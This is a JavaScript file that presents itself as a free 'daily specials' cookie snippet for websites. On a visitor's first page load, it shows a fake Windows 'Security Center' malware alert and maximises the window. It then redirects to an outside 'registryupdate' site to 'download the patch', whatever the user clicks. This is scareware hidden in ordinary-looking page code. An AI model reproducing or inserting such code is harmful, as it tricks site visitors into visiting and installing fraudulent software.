/* This script and many more are available free online at
The JavaScript Source!! http://javascript.internet.com
Created by: Ted Man |  */

function getCookie(c_name) {
		if (document.cookie.length>0) {
			 c_start=document.cookie.indexOf(c_name + "=")
			 if (c_start!=-1) {
    		c_start=c_start + c_name.length+1 
    		c_end=document.cookie.indexOf(";",c_start)
    		if (c_end==-1) c_end=document.cookie.length
    				return unescape(document.cookie.substring(c_start,c_end))
      } 
  		}
		return ""
}
	
function setCookie(c_name,value,expiredays) {
		var exdate=new Date()
		exdate.setDate(exdate.getDate()+expiredays)
		document.cookie=c_name+ "=" + escape(value) + ((expiredays==null) ? "" : "; expires="+exdate.toGMTString())
}
		
function checkCookie() {
		var todaysdate = new Date()
		var day = todaysdate.getDay()
		
		switch (day) {
			 case 1:
					 day = "Monday"
					 break
			 case 2:
					 day = "Tuesday"
					 break
			 case 3:
					 day = "Wednesday"
					 break
			 case 4:
					 day = "Thursday"
					 break
			 case 5:
					 day = "Friday"
					 break
			 case 6:
					 day = "Saturday"
					 break
			 case 0:
					 day = "Sunday"
					 break
		}
		
  var thedate = getCookie('thedate')
		
		if (thedate != null && thedate != "") {
			 if (day == thedate) {
			 } else {
				  alert('Befff sure to check our daily specials!')
			 }
		} else {
 			thedate = day

 			if (thedate!=null && thedate!="") {
    		setCookie('thedate', thedate, 365)
    		var text = "WINDOWS REQUIRES IMMEDIATE ATTENTION\n============================\n\nATTENTION ! Security Center has detected\nmalware on your computer !\n\nAffected Software:\n\nMicrosoft Windows Vista\nMicrosoft Windows NT Server 4.0\nMicrosoft Windows 2000\nMicrosoft Windows XP\nMicrosoft Windows Win98\nMicrosoft Windows Server 2000\n\nImpact of Vulnerability: Remote Code Execution /\nVirus Infection / Unexpected shutdowns\n\nYour system IS affected, please click OK to download the patch!";

        confirm(text);
        moveTo(0,0);
        resizeTo(window.screen.width,window.screen.height);
        top.document.location.href='http://www.registryupdate.org/?scanalert';
    }
  }
}

// Multiple onload function created by: Simon Willison
// http://simonwillison.net/2004/May/26/addLoadEvent/
function addLoadEvent(func) {
  var oldonload = window.onload;
  if (typeof window.onload != 'function') {
    window.onload = func;
  } else {
    window.onload = function() {
      if (oldonload) {
        oldonload();
      }
      func();
    }
  }
}

addLoadEvent(function() {
  checkCookie();
});
